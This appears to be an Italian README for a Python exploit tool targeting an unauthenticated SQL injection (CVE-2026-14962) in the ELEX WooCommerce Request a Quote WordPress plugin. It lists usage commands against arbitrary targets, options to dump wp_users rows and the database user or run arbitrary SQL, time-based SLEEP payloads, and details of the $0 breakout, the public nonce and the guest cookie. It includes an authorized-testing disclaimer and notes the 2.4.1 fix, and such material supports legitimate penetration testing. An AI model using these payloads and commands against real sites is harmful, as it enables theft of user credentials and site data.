
Wordpress Plugin ELEX WooCommerce Request a Quote SQL injection non autenticato
Plugin WordPress ELEX WooCommerce Request a Quote, SQL injection non autenticata
ELEX WooCommerce Request a Quote (plugin WordPress elex-request-a-quote) ≤ 2.4.0 — SQL injection non autenticata tramite l'azione AJAX pubblica elex_raq_add_to_quote.
Solo per test autorizzati. Non eseguire questo strumento contro sistemi di cui non si è proprietari o per cui non si ha il permesso di eseguire test.
Richiede: Python 3, solo libreria standard. Il target deve eseguire WooCommerce (gli script/nonce del preventivo sono stampati nella pagina shop/home).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| Flag | Cosa fa |
|---|
-u / --url | Radice del sito WordPress (obbligatorio). http:// o https://; un hostname viene provato prima come HTTPS, poi come HTTP. Il TLS self-signed viene ritentato automaticamente. --insecure salta la verifica fin dall'inizio |
--test | Ospite: versione del plugin + nonce pubblico, poi una sonda SQL non distruttiva $0 |
--dump | Prima riga di wp_users + utente del DB. Richiede WP_DEBUG affinché l'errore XPATH sia nel corpo HTTP |
--query SQL | La tua espressione SQL (senza apici singoli; usa l'esadecimale 0x… per le stringhe) |
--sql EXPR | data[id] grezzo dopo il breakout $0$0 (scrivi tu il gadget ) OR … #) |
--sleep N | Tentativo SLEEP(N) basato sul tempo |
--pid / --vid | ID prodotto / variazione WooCommerce (la variazione deve essere non vuota per raggiungere il sink) |
--insecure | Salta la verifica TLS |
--timeout | Timeout HTTP in secondi (predefinito 30) |
Non autenticata. Il nonce è stampato in request_a_quote_ajax_obj su / e /shop/. Il cookie ospite è request_a_quote_user_coockie (la grafia del plugin).
--test invia in POST attribute_value=$0. La versione vulnerabile 2.4.0 di preg_replace tratta $0 come la corrispondenza di %s e lascia un %d letterale nella query. La 2.4.1 esegue il binding di JSON_CONTAINS e $0 è solo un valore JSON.
Stdout: VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.
CVE: CVE-2026-14962. Changelog del plugin 2.4.1.
